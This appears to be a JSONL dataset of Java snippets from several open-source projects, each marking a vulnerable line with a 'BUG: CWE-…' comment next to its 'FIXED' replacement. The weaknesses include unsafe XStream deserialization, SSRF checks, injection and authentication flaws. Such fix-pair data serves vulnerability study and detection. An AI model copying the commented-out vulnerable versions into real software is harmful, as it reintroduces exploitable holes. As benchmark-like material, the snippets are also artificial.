org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.connector.utils.BlockUtils;\n\n@Translator(packet = EmotePacket.class)\npublic class BedrockEmoteTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(EmotePacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, EmotePacket packet) {\n if (session.getConnector().getConfig().getEmoteOffhandWorkaround() != EmoteOffhandWorkaroundOption.DISABLED) {\n // Activate the workaround - we should trigger the offhand now\n ClientPlayerActionPacket swapHandsPacket = new ClientPlayerActionPacket(PlayerAction.SWAP_HANDS, BlockUtils.POSITION_ZERO,\n BlockFace.DOWN);\n session.sendDownstreamPacket(swapHandsPacket);\n\n if (session.getConnector().getConfig().getEmoteOffhandWorkaround() == EmoteOffhandWorkaroundOption.NO_EMOTES) {\n return;\n }\n }\n\n long javaId = session.getPlayerEntity().getEntityId();\n for (GeyserSession otherSession : session.getConnector().getPlayers()) {\n if (otherSession != session) {\n if (otherSession.isClosed()) continue;\n if (otherSession.getEventLoop().inEventLoop()) {\n playEmote(otherSession, javaId, packet.getEmoteId());\n } else {\n session.executeInEventLoop(() -> playEmote(otherSession, javaId, packet.getEmoteId()));\n }<|endoftext|>"} +{"language": "java", "text": " this(parse(configFile));\n }\n\n PGRasterConfig(Document config) {\n Element root = config.getDocumentElement();\n if (!\"pgraster\".equalsIgnoreCase(root.getNodeName())) {\n throw new IllegalArgumentException(\n \"Not a postgis raster configuration, root element must be 'pgraster'\");\n }\n\n this.name = first(root, \"name\").map(this::nodeValue).orElse(null);\n this.enableDrivers = first(root, \"enableDrivers\").map(this::nodeValue).orElse(null);\n\n Element db =\n first(config.getDocumentElement(), \"database\")\n .orElseThrow(\n () ->\n new IllegalArgumentException(\n \"Config has no database element\"));\n\n DataSource dataSource = null;\n\n String jndi = first(db, \"jndi\").map(this::nodeValue).orElse(null);\n if (jndi != null) {\n try {\n // BUG: CWE-20 Improper Input Validation\n // dataSource = (DataSource) GeoTools.getInitialContext().lookup(jndi);\n // FIXED: \n dataSource = (DataSource) GeoTools.jndiLookup(jndi);\n } catch (NamingException e) {\n throw new IllegalArgumentException(\"Error performing JNDI lookup for: \" + jndi, e);\n }\n }\n\n if (dataSource == null) {\n BasicDataSource source = new BasicDataSource();\n source.setDriverClassName(\"org.postgresql.Driver\");\n\n String host = first(db, \"host\").map(this::nodeValue).orElse(\"localhost\");\n\n Integer port =\n first(db, \"port\").map(this::nodeValue).map(Integer::parseInt).orElse(5432);\n\n String name =\n first(db, \"name\")\n .map(this::nodeValue)\n .orElseThrow(\n () ->\n new IllegalArgumentException(\n \"database 'name' not specified\"));\n\n source.setUrl(\"jdbc:postgresql://\" + host + \":\" + port + \"/\" + name);\n\n first(db, \"user\").map(this::nodeValue).ifPresent(source::setUsername);\n\n first(db, \"passwd\").map(this::nodeValue).ifPresent(sourc<|endoftext|>"} +{"language": "java", "text": "entityImpl;\nimport org.olat.basesecurity.IdentityRef;\nimport org.olat.core.commons.persistence.DB;\nimport org.olat.core.commons.persistence.QueryBuilder;\nimport org.olat.core.util.xml.XStreamHelper;\nimport org.olat.modules.dcompensation.DisadvantageCompensation;\nimport org.olat.modules.dcompensation.DisadvantageCompensationAuditLog;\nimport org.olat.modules.dcompensation.model.DisadvantageCompensationAuditLogImpl;\nimport org.olat.modules.dcompensation.model.DisadvantageCompensationImpl;\nimport org.olat.repository.RepositoryEntryRef;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport com.thoughtworks.xstream.XStream;\n\n/**\n * \n * Initial date: 24 sept. 2020
\n * @author srosse, stephane.rosse@frentix.com, http://www.frentix.com\n *\n */\n@Service\npublic class DisadvantageCompensationAuditLogDAO {\n\t\n\tprivate static final XStream disadvantageCompensationXStream = XStreamHelper.createXStreamInstanceForDBObjects();\n\tstatic {\n\t\t// BUG: CWE-91 XML Injection (aka Blind XPath Injection)\n\t\t// \n\t\t// FIXED:\n\t\tXStreamHelper.allowDefaultPackage(disadvantageCompensationXStream);\n\t\tdisadvantageCompensationXStream.alias(\"disadvantageCompensation\", DisadvantageCompensationImpl.class);\n\t\tdisadvantageCompensationXStream.ignoreUnknownElements();\n\t\t\n\t\tdisadvantageCompensationXStream.omitField(DisadvantageCompensationImpl.class, \"identity\");\n\t\tdisadvantageCompensationXStream.omitField(DisadvantageCompensationImpl.class, \"entry\");\n\t\tdisadvantageCompensationXStream.omitField(IdentityImpl.class, \"user\");\n\t}\n\n\t@Autowired\n\tprivate DB dbInstance;\n\t\n\tpublic DisadvantageCompensationAuditLog create(String action, String before, String after,\n\t\t\tDisadvantageCompensation compensation, IdentityRef doer) {\n\t\tDisadvantageCompensationAuditLogImpl log = new DisadvantageCompensationAuditLogImpl();\n\t\tlog.setCreationDate(new Date());\n\t\tlog.setAction(action);\n\t\tlog.setBefore(before);\n\t\tlog.setAfter(after);\n\t\tlog.setCompensationKey(compensation.getKey());\n\t\tif(compensation.getIdentity() != null) {\n\t\t\tlog.setIdentityKey(compensation.getIdentity().getKey());\n\t\t}\n\t\tlog.setSubIdent(compensation.getSubIdent());\n\t\tif(compensation.getEntry() != null) {\n\t\t\tlog.setEntryKey(compensation.getEntry().getKey());\n\t\t}\n\t\tif(doer != nu<|endoftext|>"} +{"language": "java", "text": "putStream(is,\n\t\t\t\t\tBUFFER_SIZE))\n\t\t\t{\n\t\t\t\tByteArrayOutputStream os = new ByteArrayOutputStream();\n\t\t\t byte[] buffer = new byte[0xFFFF];\n\n\t\t\t\tos.write(head, 0, head.length);\n\t\t\t\t\n\t\t\t for (int len = is.read(buffer); len != -1; len = is.read(buffer))\n\t\t\t { \n\t\t\t os.write(buffer, 0, len);\n\t\t\t }\n\n\t\t\t\tout.write(mxBase64.encodeToString(os.toByteArray(), false).getBytes());\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tout.write(head);\n\t\t\tUtils.copy(is, out);\n\t\t}\n\t}\n\n\t/**\n\t * Checks if the URL parameter is legal.\n\t */\n\tpublic boolean checkUrlParameter(String url)\n\t{\n\t\tif (url != null)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tURL parsedUrl = new URL(url);\n\t\t\t\tString protocol = parsedUrl.getProtocol();\n\t\t\t\tString host = parsedUrl.getHost();\n\t\t\t\tInetAddress address = InetAddress.getByName(host);\n\t\t\t\tString hostAddress = address.getHostAddress();\n\t\t\t\thost = host.toLowerCase();\n\n\t\t\t\treturn (protocol.equals(\"http\") || protocol.equals(\"https\"))\n\t\t\t\t\t\t&& !address.isAnyLocalAddress()\n\t\t\t\t\t\t&& !address.isLoopbackAddress()\n\t\t\t\t\t\t// BUG: CWE-918 Server-Side Request Forgery (SSRF)\n\t\t\t\t\t\t// \n\t\t\t\t\t\t// FIXED: \n\t\t\t\t\t\t&& !address.isLinkLocalAddress()\n\t\t\t\t\t\t&& !host.endsWith(\".internal\") // Redundant\n\t\t\t\t\t\t&& !host.endsWith(\".local\") // Redundant\n\t\t\t\t\t\t&& !host.contains(\"localhost\") // Redundant\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"0.\") // 0.0.0.0/8 \n\t\t\t\t\t\t&& !hostAddress.startsWith(\"10.\") // 10.0.0.0/8\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"127.\") // 127.0.0.0/8\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"169.254.\") // 169.254.0.0/16\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"172.16.\") // 172.16.0.0/12\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"172.17.\") // 172.16.0.0/12\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"172.18.\") // 172.16.0.0/12\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"172.19.\") // 172.16.0.0/12\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"172.20.\") // 172.16.0.0/12\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"172.21.\") // 172.16.0.0/12\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"172.22.\") // 172.16.0.0/12\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"172.23.\") // 172.16.0.0/12\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"172.24.\") // 172.16.0.0/12\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"172.25.\") // 172.16.0.0/12\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"172.26.\") // 172.16.0.0/12\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"172.27.\") // 172.16.0.0/12\n\t\t\t\t\t\t&& !hostAddress.startsWith(\"172.28.\") // 172.16.0.0<|endoftext|>"} +{"language": "java", "text": "caleStringLog(\"geyser.network.outdated.server\", supportedVersions));\n session.disconnect(LanguageUtils.getLocaleStringLog(\"geyser.network.outdated.server\", supportedVersions));\n return true;\n } else if (loginPacket.getProtocolVersion() < BedrockProtocol.DEFAULT_BEDROCK_CODEC.getProtocolVersion()) {\n session.getConnector().getLogger().info(LanguageUtils.getLocaleStringLog(\"geyser.network.outdated.client\", supportedVersions));\n session.disconnect(LanguageUtils.getLocaleStringLog(\"geyser.network.outdated.client\", supportedVersions));\n return true;\n }\n }\n\n session.getUpstream().getSession().setPacketCodec(packetCodec);\n\n // Set the block translation based off of version\n session.setBlockMappings(BlockRegistries.BLOCKS.forVersion(loginPacket.getProtocolVersion()));\n session.setItemMappings(Registries.ITEMS.forVersion(loginPacket.getProtocolVersion()));\n // BUG: CWE-287 Improper Authentication\n // LoginEncryptionUtils.encryptPlayerConnection(connector, session, loginPacket);\n // FIXED: \n LoginEncryptionUtils.encryptPlayerConnection(session, loginPacket);\n\n PlayStatusPacket playStatus = new PlayStatusPacket();\n playStatus.setStatus(PlayStatusPacket.Status.LOGIN_SUCCESS);\n session.sendUpstreamPacket(playStatus);\n\n ResourcePacksInfoPacket resourcePacksInfo = new ResourcePacksInfoPacket();\n for(ResourcePack resourcePack : ResourcePack.PACKS.values()) {\n ResourcePackManifest.Header header = resourcePack.getManifest().getHeader();\n resourcePacksInfo.getResourcePackInfos().add(new ResourcePacksInfoPacket.Entry(\n header.getUuid().toString(), header.getVersionString(), resourcePack.getFile().length(),\n \"\", \"\", \"\", false, false));\n }\n resourcePacksInfo.setForcedToAccept(GeyserConnector.getInstance().getConfig().isForceResourcePacks());\n session.sendUpstreamPacket(resourcePacksInfo);\n return true;\n }\n\n @Override\n public boolean handle(ResourcePackClientResponsePacket packet) {\n switch (packet.getStatus()) {\n case COMPLETED:\n session.connect();\n connector.getLogger().info(LanguageUtils<|endoftext|>"} +{"language": "java", "text": "rentix.com\n *

\n */\npackage org.olat.core.commons.services.doceditor.discovery.manager;\n\nimport org.olat.core.commons.services.doceditor.discovery.model.ActionImpl;\nimport org.olat.core.commons.services.doceditor.discovery.model.AppImpl;\nimport org.olat.core.commons.services.doceditor.discovery.model.DiscoveryImpl;\nimport org.olat.core.commons.services.doceditor.discovery.model.NetZoneImpl;\nimport org.olat.core.commons.services.doceditor.discovery.model.ProofKeyImpl;\nimport org.olat.core.util.xml.XStreamHelper;\n\nimport com.thoughtworks.xstream.XStream;\nimport com.thoughtworks.xstream.security.ExplicitTypePermission;\n\n/**\n * \n * Initial date: 1 Mar 2019
\n * @author uhensler, urs.hensler@frentix.com, http://www.frentix.com\n *\n */\nclass DiscoveryXStream {\n\t\n\tprivate static final XStream xstream = XStreamHelper.createXStreamInstance();\n\tstatic {\n\t\tClass[] types = new Class[] {\n\t\t\t\tDiscoveryImpl.class, NetZoneImpl.class, AppImpl.class, ActionImpl.class, ProofKeyImpl.class\n\t\t};\n\t\t\n\t\t// BUG: CWE-91 XML Injection (aka Blind XPath Injection)\n\t\t// \t\tXStream.setupDefaultSecurity(xstream);\n\t\t// FIXED:\n\t\txstream.addPermission(new ExplicitTypePermission(types));\n\n\t\txstream.alias(\"wopi-discovery\", DiscoveryImpl.class);\n\t\txstream.aliasField(\"proof-key\", DiscoveryImpl.class, \"proofKey\");\n\t\txstream.addImplicitCollection(DiscoveryImpl.class, \"netZones\");\n\t\t\n\t\txstream.alias(\"net-zone\", NetZoneImpl.class);\n\t\txstream.aliasAttribute(NetZoneImpl.class, \"name\", \"name\");\n\t\txstream.addImplicitCollection(NetZoneImpl.class, \"apps\");\n\t\t\n\t\txstream.alias(\"app\", AppImpl.class);\n\t\txstream.aliasAttribute(AppImpl.class, \"name\", \"name\");\n\t\txstream.aliasAttribute(AppImpl.class, \"favIconUrl\", \"favIconUrl\");\n\t\txstream.aliasAttribute(AppImpl.class, \"checkLicense\", \"checkLicense\");\n\t\txstream.addImplicitCollection(AppImpl.class, \"actions\");\n\t\t\n\t\txstream.alias(\"action\", ActionImpl.class);\n\t\txstream.aliasAttribute(ActionImpl.class, \"name\", \"name\");\n\t\txstream.aliasAttribute(ActionImpl.class, \"ext\", \"ext\");\n\t\txstream.aliasAttribute(ActionImpl.class, \"urlSrc\", \"urlsrc\");\n\t\txstream.aliasAttribute(ActionImpl.class, \"requires\", \"requires\");\n\t\txstream.aliasAttribute(ActionImpl.class, \"targetExt\", \"targetext\");\n\t\t\n\t\txstream.alias(\"proof-key\", ProofKeyImpl.class);\n\t\txstream.aliasAttribute(ProofKeyImpl.class, \"value\", \"val<|endoftext|>"} +{"language": "java", "text": "y entity_0 where entity_0.code between :code_1 and :code_2\",\n\t\t\t\tselect.getQuery());\n\t\tassertEquals(\"A\", select.getParameters().get(\"code_1\"));\n\t\tassertEquals(\"C\", select.getParameters().get(\"code_2\"));\n\t}\n\n\t/**\n\t *

testNotBetweenCondition.

\n\t */\n\t@Test\n\tpublic void testNotBetweenCondition() {\n\t\tEntity from = from(Entity.class);\n\t\twhere(from.getCode()).notBetween(\"A\", \"C\");\n\t\tQuery select = select(from);\n\t\tassertEquals(\n\t\t\t\t\"select entity_0 from Entity entity_0 where entity_0.code not between :code_1 and :code_2\",\n\t\t\t\tselect.getQuery());\n\t\tassertEquals(\"A\", select.getParameters().get(\"code_1\"));\n\t\tassertEquals(\"C\", select.getParameters().get(\"code_2\"));\n\t}\n\n\t/**\n\t *

testLowerFunctionInCondition.

\n\t */\n\t@Test\n\tpublic void testLowerFunctionInCondition() {\n\t\tEntity entity = from(Entity.class);\n\t\tOnGoingLogicalCondition condition = condition(lower(entity.getCode()))\n\t\t\t\t.like().any(\"test\");\n\t\twhere(condition);\n\t\tQuery select = select(entity);\n\t\tassertEquals(\n\t\t\t// BUG: NVD-CWE-noinfo Insufficient Information\n\t\t\t// \"select entity_0 from Entity entity_0 where ( lower(entity_0.code) like '%test%' )\",\n\t\t\t// FIXED: \n\t\t\t\t\"select entity_0 from Entity entity_0 where ( lower(entity_0.code) like :function_1 )\",\n\t\t\t\tselect.getQuery());\n\t}\n\n\t/**\n\t *

testComparableFunctionInCondition.

\n\t */\n\t@Test\n\tpublic void testComparableFunctionInCondition() {\n\t\tEntity entity = from(Entity.class);\n\t\tOnGoingLogicalCondition condition = condition(length(entity.getCode()))\n\t\t\t\t.gt(5);\n\t\twhere(condition);\n\t\tQuery select = select(entity);\n\t\tassertEquals(\n\t\t\t\t\"select entity_0 from Entity entity_0 where ( length(entity_0.code) > :function_1 )\",\n\t\t\t\tselect.getQuery());\n\t}\n\n\t/**\n\t *

testOrMultipleOnGoingLogicalConditions.

\n\t */\n\t@Test\n\tpublic void testOrMultipleOnGoingLogicalConditions() {\n\t\tEntity entity = from(Entity.class);\n\t\tOnGoingLogicalCondition condition = condition(entity.getCode()).eq(\n\t\t\t\t\"test\");\n\t\tOnGoingLogicalCondition condition2 = condition(entity.getCode()).eq(\n\t\t\t\t\"test2\");\n\n\t\twhere(or(condition, condition2));\n\t\tQuery select = select(entity);\n\t\tassertEquals(\n\t\t\t\t\"select entity_0 from Entity entity_0 where ( ( entity_0.code = :code_1 ) or ( entity_0.code = :code_2 ) )\",\n\t\t\t\tselect.getQuery());\n\t}\n\n\t/**\n\t *

testAndMultipleOnGoingLogicalConditions2.

\n\t */\n\t@Test\n\tpublic void <|endoftext|>"} +{"language": "java", "text": "hread(Jenkins)}\n */\n public UDPBroadcastThread(Hudson jenkins) throws IOException {\n this((Jenkins)jenkins);\n }\n\n public UDPBroadcastThread(Jenkins jenkins) throws IOException {\n super(\"Jenkins UDP \"+PORT+\" monitoring thread\");\n this.jenkins = jenkins;\n mcs = new MulticastSocket(PORT);\n }\n\n @Override\n public void run() {\n try {\n mcs.joinGroup(MULTICAST);\n ready.signal();\n\n while(true) {\n byte[] buf = new byte[2048];\n DatagramPacket p = new DatagramPacket(buf,buf.length);\n mcs.receive(p);\n\n SocketAddress sender = p.getSocketAddress();\n\n // prepare a response\n TcpSlaveAgentListener tal = jenkins.getTcpSlaveAgentListener();\n\n StringBuilder rsp = new StringBuilder(\"\");\n tag(rsp,\"version\", Jenkins.VERSION);\n tag(rsp,\"url\", jenkins.getRootUrl());\n // BUG: NVD-CWE-noinfo Insufficient Information\n // tag(rsp,\"server-id\", Util.getDigestOf(jenkins.getSecretKey()));\n // FIXED: \n tag(rsp,\"server-id\", jenkins.getLegacyInstanceId());\n tag(rsp,\"slave-port\",tal==null?null:tal.getPort());\n\n for (UDPBroadcastFragment f : UDPBroadcastFragment.all())\n f.buildFragment(rsp,sender);\n\n rsp.append(\"\");\n\n byte[] response = rsp.toString().getBytes(\"UTF-8\");\n mcs.send(new DatagramPacket(response,response.length,sender));\n }\n } catch (ClosedByInterruptException e) {\n // shut down\n } catch (BindException e) {\n // if we failed to listen to UDP, just silently abandon it, as a stack trace\n // makes people unnecessarily concerned, for a feature that currently does no good.\n LOGGER.log(Level.WARNING, \"Failed to listen to UDP port \"+PORT,e);\n } catch (IOException e) {\n if (shutdown) return; // forcibly closed\n LOGGER.log(Level.WARNING, \"UDP handling problem\",e);\n }\n }\n\n private void tag(StringBuilder buf, String tag, Object value) {\n if(value==null) return;\n buf.append('<').append(tag).append('>').append(value).append(\""} +{"language": "java", "text": "LLREQUEST = \"Pull request\";\n\t\n\tprivate String name;\n\n\tprivate String description;\n\n\tprivate boolean allowMultiple;\n\t\n\tprivate boolean allowEmpty;\n\t\n\tprivate ShowCondition showCondition;\n\t\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic String getDescription() {\n\t\treturn description;\n\t}\n\n\tpublic void setDescription(String description) {\n\t\tthis.description = description;\n\t}\n\n\tpublic boolean isAllowMultiple() {\n\t\treturn allowMultiple;\n\t}\n\n\tpublic void setAllowMultiple(boolean allowMultiple) {\n\t\tthis.allowMultiple = allowMultiple;\n\t}\n\n\tpublic ShowCondition getShowCondition() {\n\t\treturn showCondition;\n\t}\n\n\tpublic void setShowCondition(ShowCondition showCondition) {\n\t\tthis.showCondition = showCondition;\n\t}\n\t\n\tpublic boolean isAllowEmpty() {\n\t\treturn allowEmpty;\n\t}\n\n\tpublic void setAllowEmpty(boolean allowEmpty) {\n\t\tthis.allowEmpty = allowEmpty;\n\t}\n\t\n\tpublic List getPossibleValues() {\n\t\treturn Lists.newArrayList();\n\t}\n\t// BUG: CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')\n\t// \tprotected String escape(String string) {\n\t// FIXED: \n\tpublic static String escape(String string) {\n\t\tString escaped = JavaEscape.escapeJava(string);\n\t\t// escape $ character since it has special meaning in groovy string\n\t\tescaped = escaped.replace(\"$\", \"\\\\$\");\n\n\t\treturn escaped;\n\t}\n\t\n\tpublic abstract String getPropertyDef(Map indexes);\n\t\n\tprotected String getLiteral(byte[] bytes) {\n\t\tStringBuffer buffer = new StringBuffer(\"[\");\n\t\tfor (byte eachByte: bytes) {\n\t\t\tbuffer.append(String.format(\"%d\", eachByte)).append(\",\");\n\t\t}\n\t\tbuffer.append(\"] as byte[]\");\n\t\treturn buffer.toString();\n\t}\n\n\tpublic void appendField(StringBuffer buffer, int index, String type) {\n\t\tbuffer.append(\" private Optional<\" + type + \"> input\" + index + \";\\n\");\n\t\tbuffer.append(\"\\n\");\n\t}\n\t\n\tpublic void appendChoiceProvider(StringBuffer buffer, int index, String annotation) {\n\t\tbuffer.append(\" \" + annotation + \"(\\\"getInput\" + index + \"Choices\\\")\\n\");\t\t\n\t}\n\t\n\tpublic void appendCommonAnnotations(StringBuffer buffer, int index) {\n\t\tif (description != null) {\n\t\t\tbuffer.append(\" @Editable(name=\\\"\" + escape(name) + \"\\\", description=\\\"\" + \n\t\t\t\t\tescape(description) + \"\\\", order=\" + index + \")\\n\");\n\t\t} else {\n\t\t\tbuffer.append(\" @Editable(name=\\\"\" + es<|endoftext|>"} +{"language": "java", "text": " BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.nukkitx.protocol.bedrock.packet.ServerSettingsRequestPacket;\nimport com.nukkitx.protocol.bedrock.packet.ServerSettingsResponsePacket;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.connector.utils.SettingsUtils;\nimport org.geysermc.cumulus.CustomForm;\n\nimport java.util.concurrent.TimeUnit;\n\n@Translator(packet = ServerSettingsRequestPacket.class)\npublic class BedrockServerSettingsRequestTranslator extends PacketTranslator {\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(ServerSettingsRequestPacket packet, GeyserSession session) {\n // FIXED:\n public void translate(GeyserSession session, ServerSettingsRequestPacket packet) {\n CustomForm window = SettingsUtils.buildForm(session);\n int windowId = session.getFormCache().addForm(window);\n\n // Fixes https://bugs.mojang.com/browse/MCPE-94012 because of the delay\n session.getConnector().getGeneralThreadPool().schedule(() -> {\n ServerSettingsResponsePacket serverSettingsResponsePacket = new ServerSettingsResponsePacket();\n serverSettingsResponsePacket.setFormData(window.getJsonData());\n serverSettingsResponsePacket.setFormId(windowId);\n session.sendUpstreamPacket(serverSettingsResponsePacket);\n }, 1, TimeUnit.SECONDS);\n }\n}\n<|endoftext|>"} +{"language": "java", "text": ";\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.thoughtworks.go.util.command;\n\nimport com.thoughtworks.go.config.ConfigAttributeValue;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.http.client.utils.URIBuilder;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\nimport java.util.regex.Pattern;\n\nimport static com.thoughtworks.go.util.ExceptionUtils.bombIfNull;\nimport static org.apache.commons.lang3.StringUtils.isBlank;\n\n@ConfigAttributeValue(fieldName = \"url\")\npublic class UrlArgument extends CommandArgument {\n // BUG: CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')\n // private static final String URL_DUMB_VALIDATION_REGEX = \"^[a-zA-Z0-9/].*\";\n // FIXED: \n private static final String URL_DUMB_VALIDATION_REGEX = \"^[a-zA-Z0-9/#].*\";\n private static final Pattern pattern = Pattern.compile(URL_DUMB_VALIDATION_REGEX);\n\n protected String url;\n\n public UrlArgument(String url) {\n bombIfNull(url, \"Url cannot be null.\");\n this.url = url;\n }\n\n @Override\n public String originalArgument() {\n return url;\n }\n\n //TODO: Change this later to use URIBuilder\n @Override\n public String forDisplay() {\n try {\n URI uri = new URI(sanitizeUrl());\n if (uri.getUserInfo() != null) {\n uri = new URI(uri.getScheme(), clean(uri.getScheme(), uri.getUserInfo()), uri.getHost(), uri.getPort(), uri.getPath(), uri.getQuery(), uri.getFragment());\n }\n return uri.toString();\n } catch (URISyntaxException e) {\n return url;\n }\n }\n\n private String clean(String scheme, String userInfo) {\n if (userInfo.contains(\":\")) {\n return userInfo.replaceFirst(\":.*\", \":******\");\n } else if (\"ssh\".equals(scheme) || \"svn+ssh\".equals(scheme)) {\n return userInfo;\n }\n return \"******\";\n }\n\n @Over<|endoftext|>"} +{"language": "java", "text": "SSMTPrivateKey(PrivateKeyInfo keyInfo)\n throws IOException\n {\n XMSSMTKeyParams keyParams = XMSSMTKeyParams.getInstance(keyInfo.getPrivateKeyAlgorithm().getParameters());\n this.treeDigest = keyParams.getTreeDigest().getAlgorithm();\n\n XMSSPrivateKey xmssMtPrivateKey = XMSSPrivateKey.getInstance(keyInfo.parsePrivateKey());\n\n try\n {\n XMSSMTPrivateKeyParameters.Builder keyBuilder = new XMSSMTPrivateKeyParameters\n .Builder(new XMSSMTParameters(keyParams.getHeight(), keyParams.getLayers(), DigestUtil.getDigest(treeDigest)))\n .withIndex(xmssMtPrivateKey.getIndex())\n .withSecretKeySeed(xmssMtPrivateKey.getSecretKeySeed())\n .withSecretKeyPRF(xmssMtPrivateKey.getSecretKeyPRF())\n .withPublicSeed(xmssMtPrivateKey.getPublicSeed())\n .withRoot(xmssMtPrivateKey.getRoot());\n\n if (xmssMtPrivateKey.getBdsState() != null)\n {\n // BUG: CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')\n // keyBuilder.withBDSState((BDSStateMap)XMSSUtil.deserialize(xmssMtPrivateKey.getBdsState()));\n // FIXED:\n keyBuilder.withBDSState((BDSStateMap)XMSSUtil.deserialize(xmssMtPrivateKey.getBdsState(), BDSStateMap.class));\n }\n\n this.keyParams = keyBuilder.build();\n }\n catch (ClassNotFoundException e)\n {\n throw new IOException(\"ClassNotFoundException processing BDS state: \" + e.getMessage());\n }\n }\n\n public String getAlgorithm()\n {\n return \"XMSSMT\";\n }\n\n public String getFormat()\n {\n return \"PKCS#8\";\n }\n\n public byte[] getEncoded()\n {\n PrivateKeyInfo pki;\n try\n {\n AlgorithmIdentifier algorithmIdentifier = new AlgorithmIdentifier(PQCObjectIdentifiers.xmss_mt, new XMSSMTKeyParams(keyParams.getParameters().getHeight(), keyParams.getParameters().getLayers(), new AlgorithmIdentifier(treeDigest)));\n pki = new PrivateKeyInfo(algorithmIdentifier, createKeyStructure());\n\n return pki.getEncoded();\n }\n catch (IOException e)\n {\n return null;\n }\n }\n\n CipherParameters getKeyParams()\n {\n return keyParams;\n }\n\n public boolean equals(Object o)\n {\n if (o == this)\n {\n<|endoftext|>"} +{"language": "java", "text": " OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.java;\n\nimport com.github.steveice10.mc.protocol.packet.ingame.server.ServerDeclareTagsPacket;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\n@Translator(packet = ServerDeclareTagsPacket.class)\npublic class JavaDeclareTagsTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(ServerDeclareTagsPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, ServerDeclareTagsPacket packet) {\n session.getTagCache().loadPacket(packet);\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "k People} which can be displayed progressively, since it may be slow.\n * @since 1.484\n */\n public static final class AsynchPeople extends ProgressiveRendering { // JENKINS-15206\n\n private final Collection items;\n private final User unknown;\n private final Map users = new HashMap();\n private final Set modified = new HashSet();\n private final String iconSize;\n public final ModelObject parent;\n\n /** @see Jenkins#getAsynchPeople} */\n public AsynchPeople(Jenkins parent) {\n this.parent = parent;\n items = parent.getItems();\n unknown = User.getUnknown();\n }\n\n /** @see View#getAsynchPeople */\n public AsynchPeople(View parent) {\n this.parent = parent;\n items = parent.getItems();\n unknown = null;\n }\n\n {\n StaplerRequest req = Stapler.getCurrentRequest();\n // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n // iconSize = req != null ? Functions.getCookie(req, \"iconSize\", \"32x32\") : \"32x32\";\n // FIXED: \n iconSize = req != null ? Functions.validateIconSize(Functions.getCookie(req, \"iconSize\", \"32x32\")) : \"32x32\";\n }\n\n @Override protected void compute() throws Exception {\n int itemCount = 0;\n for (Item item : items) {\n for (Job job : item.getAllJobs()) {\n if (job instanceof AbstractProject) {\n AbstractProject p = (AbstractProject) job;\n RunList> builds = p.getBuilds();\n int buildCount = 0;\n for (AbstractBuild build : builds) {\n if (canceled()) {\n return;\n }\n for (ChangeLogSet.Entry entry : build.getChangeSet()) {\n User user = entry.getAuthor();\n UserInfo info = users.get(user);\n if (info == null) {\n UserInfo userInfo = new UserInfo(user, p, build.getTimestamp());\n userInfo.avatar = UserAvatarResolver.<|endoftext|>"} +{"language": "java", "text": "f (ac.getMedium() == null) {\n media = 